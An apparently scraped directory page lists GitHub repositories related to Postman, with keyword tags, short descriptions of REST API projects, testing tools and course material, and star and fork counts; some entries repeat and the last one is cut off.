Supporting resources for the 2020 Postman Galaxy Tour | 0 stars | 0 watchers | 1 forks |
|
xrayin/springboot-rest-image-retriever application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system |
A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png | 0 stars | 0 watchers | 1 forks |
|
SalahEddine007/mern_devconnector action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow |
Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. | 0 stars | 0 watchers | 0 forks |
|
adQuintipLe/laravel-api-resources laravel, resource, resources, source |
api laravel resource with postman | 0 stars | 0 watchers | 0 forks |
|
guys1444/node.js-socialNetwork action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow |
socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK | 0 stars | 0 watchers | 0 forks |
|
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec |
It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) | 0 stars | 0 watchers | 0 forks |
|
andreshincapie82132/postman_methods method, methods, resource, resources, source |
A short repository with most useful posman resources | 0 stars | 0 watchers | 0 forks |
|
guilleojeda/aws-tags-using-postman list, resource, resources, source |
Create, delete and list AWS resources by tag using Postman | 0 stars | 0 watchers | 0 forks |
|
KamilWysocki1990/GitHubSearch application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit |
MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. | 0 stars | 0 watchers | 0 forks |
|
moinuddin14/oData-Batch-Postman-Demo collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec |
I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples | 0 stars | 0 watchers | 0 forks |
|
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
|
pozil/postman-extractor actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning |
Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. | 0 stars | 0 watchers | 0 forks |
|
rubenRP/covid-map covid, data, maps, resource, resources, source, updated |
App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. | 0 stars | 0 watchers | 0 forks |
|
venkatgunneri/Messenger-App client, collection, comments, file, files, message, messages, notation, resource, resources, source |
Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. | 0 stars | 0 watchers | 0 forks |
|
request-factory/request-factory actor, client, form, mobile, platform |
Cross-platform API-client made for mobile (iOS/Android) | 8 stars | 8 watchers | 1 forks |
|
ngetha/postman gateway, mobile, money |
a B2C mobile money gateway | 4 stars | 4 watchers | 6 forks |
|
CoVital-Project/pulse-ox-data-collection-web-service client, clients, collection, data, mobile, receiving, service |
HTTPS API for receiving pulse oximetry from mobile clients | 2 stars | 2 watchers | 1 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
dailiang18bb/Explorer-Ionic apps, data, explore, hybrid, mobile, service, services, test, tested |
Explorer – A hybrid mobile apps which help explore the world by using Google Vision and Wikipedia API. Coding in Angular 6, building with Ionic 4 and Cordova. Worked on the REST/Web API to create the services and tested on postman and used in AngularJS $HTTP service calls and bind the data in the card. | 1 stars | 1 watchers | 1 forks |
|
amittyyy/LandonHotelAPI_Project book, booking, mobile, native, register, search |
BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. | 1 stars | 1 watchers | 0 forks |
|
deltatre-team-mobile/postman description, mobile, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
aking27/FitnessTracker account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users |
I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. | 0 stars | 0 watchers | 0 forks |
|
awaisbub/Shircle aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track |
It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. | 0 stars | 0 watchers | 0 forks |
|
CaptainStorm21/node-restapi-express-automobiles express, mobile, mongo, mongod, mongodb, node, rest, restapi, restful, scratch |
creating restful API from scratch using node/mongodb/express postman | 0 stars | 0 watchers | 0 forks |
|
Dilshan97/simple-microservice customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store |
ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front | 0 stars | 0 watchers | 0 forks |
|
HaninMustafa/Mars-Colony-App intern, internal, local, mobile, object, responsive |
MARS COLONY APP - Web-Based Application: A mobile first responsive layout that uses Angular2 to implement GET and POST HTTP requests with our internal API to save colonist’s info and alien encounter and use localStorage to save colonist object | 0 stars | 0 watchers | 0 forks |
|
jiahaoliuliu/PostmanPattern mobile, phone, server |
An improved pattern based on Observer pattern for mobile phone which is aware of the UI thread | 0 stars | 0 watchers | 0 forks |
|
Markuson/apply-mobilejazz mobile, react |
A simple react app to apply to mobile jazz. Cause do it only with a postman POST was the easy way. | 0 stars | 0 watchers | 0 forks |
|
mobiletta/a-postman-store content, mobile, related, store |
Repository containing Postman and Newman related content | 0 stars | 0 watchers | 0 forks |
|
Neuromobile/newman-vcs collection, collections, data, managing, mobile, newman, test, tests |
An adapter for newman to allow managing Postman/newman data with a VCS and launch collections and tests | 0 stars | 0 watchers | 0 forks |
|
Neuromobile/newman-vcs-parser collection, collections, form, format, mobile, newman, parse, parser, transform, version |
A parser to transform Postman/newman collections to a versionable format | 0 stars | 0 watchers | 0 forks |
|
nikokent/request-app mobile, style |
A Postman style request app for mobile | 0 stars | 0 watchers | 0 forks |
|
prrs/t_postman backup, content, devices, mobile |
backup and analysis of textual content of mobile devices | 0 stars | 0 watchers | 0 forks |
|
ReinWD/Postman mobile |
Postman mobile | 0 stars | 0 watchers | 0 forks |
|
paltman-archive/postman command, command line, interface |
a simple command line interface to Amazon SES | 31 stars | 31 watchers | 7 forks |
|
txthinking/frank automat, automate, automated, command, command line, document, generate, markdown, test, testing, tool |
Frank is a REST API automated testing tool like Postman but in command line. Auto generate markdown API document. | 0 stars | 0 watchers | 10 forks |
|
postmanlabs/postman-updater-linux bash, command, command line, script |
A simple bash script to update Postman from the command line (for Linux) | 0 stars | 0 watchers | 9 forks |
|
vail130/gohttp browser, command, command line, extension, extensions, http, place, tool |
HTTP command line tool in Go. Replacement for Curl and browser extensions like Dev HTTP Client and Postman. | 3 stars | 3 watchers | 1 forks |
|
ivangfr/postman-newman-jenkins command, command line, fake, goal, jenkins, newman, test, tested |
The goal of this project is to implement an Automation Testing for a REST API. We will use Postman, Newman (that is the command line Collection Runner for Postman) and Jenkins. The REST API to be tested will be ReqRes, that is a fake online REST API. | 1 stars | 1 watchers | 2 forks |
|
samtgarson/pat command, command line |
📮 Postman on the command line | 2 stars | 2 watchers | 0 forks |
|
rubyDoomsday/curly command, command line, curl, ruby |
linux command line postman without all the fluff | 1 stars | 1 watchers | 1 forks |
|
missingfaktor/tapal alternative, command, command line, light, lightweight, native |
A lightweight command line alternative to Postman | 1 stars | 1 watchers | 0 forks |
|
ranovladimir/Entity-Framework-Core-Relationship-Web-API command, command line, dotnet, file, notation, readme, running, sample, test |
Here is a sample project running on ASP .NET CORE using : - Entity Framework Core in command line (dotnet ef) - Relationships with Data annotation and Fluent API - WEB API (CRUD) => I using PostMan for test. To Getting started, please read the readme.txt file into the project. | 1 stars | 1 watchers | 0 forks |
|
rishav394/Email-sender-no-IMAP client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools |
Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. | 1 stars | 1 watchers | 0 forks |
|
Ne4istb/postman-combine-collections collection, collections, combine, command, command line, tool |
A command line tool to combine several Postman collections into one | 0 stars | 0 watchers | 2 forks |
|
aubm/Cats-API command, command line, fake, newman, play, test, tests, tool |
A fake API built to play with Postman tests and the newman command line tool | 0 stars | 0 watchers | 1 forks |
|
ITV/pmpact collection, collections, command, command line, convert, file, files, tool |
A command line tool to convert Pact files to Postman collections. | 0 stars | 0 watchers | 1 forks |
|
dparne/postman-cli collection, collections, command, command line, download, downloading, interface, running |
A command line interface for downloading and running Postman collections | 0 stars | 0 watchers | 0 forks |
|
chit786/UFT_PostMan_Driver command, command line, integration, river, script, scripts, test |
Full integration of HP UFT with Newman test scripts using command line | 0 stars | 0 watchers | 0 forks |
|
oblakeerickson/discourse_api_curl command, command line, course, curl, endpoint, endpoints |
Test discourse api endpoints from the command line instead of postman | 0 stars | 0 watchers | 0 forks |
|
shcarroll/postman-newman-gitlab collection, collections, command, command line, file, gitlab, newman, runner, test, tests |
Example repo containing Postman collections of API tests, Newman command line runner for these and a Gitlab CI file | 0 stars | 0 watchers | 0 forks |
|
sonatard/proto-to-postman collection, command, command line, import, tool |
proto-to-postman is a command line tool to create postman API import collection from .proto. | 0 stars | 0 watchers | 0 forks |
|
Tombert/PATCHMan clone, command, command line |
A clone of POSTman, but for the command line, written using Node.js | 0 stars | 0 watchers | 0 forks |
|
stoplightio/prism file, form, format, light, mock, server, stoplight, transform, validation |
Turn any OpenAPI2/3 and Postman Collection file into an API server with mocking, transformations and validations. | 1119 stars | 1119 watchers | 91 forks |
|
postmanlabs/postman-collection-transformer collection, form, struct, structure, transform, validation, version |
Perform rapid conversion and validation of JSON structure between Postman Collection Format v1 and v2. | 16 stars | 16 watchers | 18 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
boffey/postman client, client side, design, designed, form, plugin, program, validation |
A jQuery form validation plugin designed to help programmers validate client side forms | 1 stars | 1 watchers | 1 forks |
|
omarabdeljelil/flight-api data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation |
Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests | 1 stars | 1 watchers | 0 forks |
|
neelkhutale19/CoffeeMeetsBagel-API-Testing check, evaluation, script, test, tested, validation |
Here I have tested CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema and much more. | 1 stars | 1 watchers | 0 forks |
|
swiftinc/gpi-connector-backoffice-simulator collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation |
This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. | 0 stars | 0 watchers | 2 forks |
|
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
|
cmullins777/REST-API course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation |
A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. | 0 stars | 0 watchers | 0 forks |
|
rakiashi/goRest-API-validation-and-monitoring-using-POSTMAN description, monitor, monitoring, script, validation |
No description available. | 0 stars | 0 watchers | 0 forks |
|
RMUSMAN/laravel-simple-restful-api-crud crud, json, laravel, rest, restful, test, tested, validation |
simple restful api crud in laravel tested in postman. validation response in json. | 0 stars | 0 watchers | 0 forks |
|
anthonygilbertt/Node-and-Express-App application, data, send, sends, validation |
A Node and Express application that has built in data validation using Joi and sends requests via Postman | 0 stars | 0 watchers | 0 forks |
|
katiershook/unit9workshop unit, validation, workshop |
unit 9 workshop for validation using postman | 0 stars | 0 watchers | 0 forks |
|
Kattiavmp/PostmanScripts data, validation |
Scripts for data validation | 0 stars | 0 watchers | 0 forks |
|
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
|
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
|
siddhantyadav/APITestingCoffeeMeetsBagels check, evaluation, script, validation |
CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema | 0 stars | 0 watchers | 0 forks |
|
yinchanted/gpi-prevalidation-internet-postman calling, collection, intern, postman collection, sandbox, validation |
The postman collection for calling the gpi Pre-Validation sandbox API over the internet. | 0 stars | 0 watchers | 0 forks |
|
lfalck/AzureRestApiPostmanCollections action, collection, collections, developer, developers, integration, system, systems |
Postman collections to simplify interaction with the Azure REST APIs, focusing on those relevant for systems integration developers. | 16 stars | 16 watchers | 7 forks |
|
thewheat/intercom-postman-collection action, collection, developer, developers, extract, file, generate, http, reference, test, version |
A Postman Collection file for the Intercom API http://developers.intercom.com/reference Includes extraction code to generate the latest version | 7 stars | 7 watchers | 7 forks |
|
open-source-labs/Swell developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool |
Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. | 0 stars | 0 watchers | 19 forks |
|
alexandreelise/j4x-api-collection attempt, beta, collection, developer, developers, joomla, official, postman collection, unofficial |
An attempt to help the Joomla! 4 early adopters mainly focused for developers. It's an unofficial postman collection of the official joomla4 beta API | 3 stars | 3 watchers | 1 forks |
|
OliverRC/Postman-WebApi-HelpDocumentation developer, developers, endpoint, endpoints, import, imported |
Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman | 0 stars | 0 watchers | 3 forks |
|
adineshreddy1/SupplyChainManagementIntoBlockchain blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking |
A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. | 1 stars | 1 watchers | 0 forks |
|
Ayushverma8/LoadTesting.withpostmanis.fun collection, convert, developer, developers, test, testing, tool, tools |
Helping developers to convert Postman collection to Load testing tools. | 0 stars | 0 watchers | 1 forks |
|
eyzx7x/postman-osx-7.0.9 developer, developers, download, million |
#Get Postman Join 6 million developers and download the ONLY complete API Development Environment. | 0 stars | 0 watchers | 1 forks |
|
gsivaprabu/Postman-Fundamentals automat, automate, automated, course, developer, developers, document, fundamentals, issue, million, test, tests |
Postman is used by over 3 million developers across the world. This course will show you the fundamentals of Postman, how you can issue requests, create automated API tests, and even document your API with Postman. | 0 stars | 0 watchers | 1 forks |
|
jeffchasin/postman-collection-integration collection, developer, developers, integration |
*PLEASE SEE NOTES BELOW* A Postman collection for developers working with Launch, by Adobe | 0 stars | 0 watchers | 1 forks |
|
abankar1/Developers-Community application, bank, developer, developers, knowledge, seek, unit |
An application to help developers seek help and share knowledge to other developers. Built using React with Redux, Node.js, MongoDb Atlas, JWT, Mongoose and Postman. [In Progress] | 0 stars | 0 watchers | 0 forks |
|
ANVESH96/Developers-Community application, developer, developers, form, knowledge, platform, progress, unit |
Community platform application for developers to share their knowledge and get help from other developers.Built using React with Redux, Nodejs ,MongoDb Atlas, JWT, Mongoose and POSTMAN. (In progress) | 0 stars | 0 watchers | 0 forks |
|
coenmooij/devpool-api developer, developers, list, tool |
Devpool tool to list developers | 0 stars | 0 watchers | 0 forks |
|
karbonhq/karbon-api-reference access, developer, developers, file, files, reference |
Access to Postman files and other items to make accessing the API easier for our developers. | 0 stars | 0 watchers | 0 forks |
|
momo112/devconnector communicate, developer, developers, frontend, network, networking, site, stat, test, tested |
Social networking site to allow developers to connect, communicate and organize meetups. Based on the MERN stack (MongoDB, Express.js, React.js, and Node.js). Validated and tested APIs with postman. Used React for the frontend and Redux to manage the states. | 0 stars | 0 watchers | 0 forks |
|
TuBanquero/utils developer, developers, development, document, documentation, util, utils |
Utilities that can be used by other developers to improve development time (git, postman, documentation, etc) | 0 stars | 0 watchers | 0 forks |
|
VPihalov/Social-network auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social |
It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow | 0 stars | 0 watchers | 0 forks |
|
cassiomolin/jersey-jwt-springsecurity auth, authentication, jersey, security, spring |
Example of REST API with JWT authentication using Spring Boot, Spring Security, Jersey and Jackson. | 0 stars | 0 watchers | 15 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
mmsrgit/spring-security-db auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user |
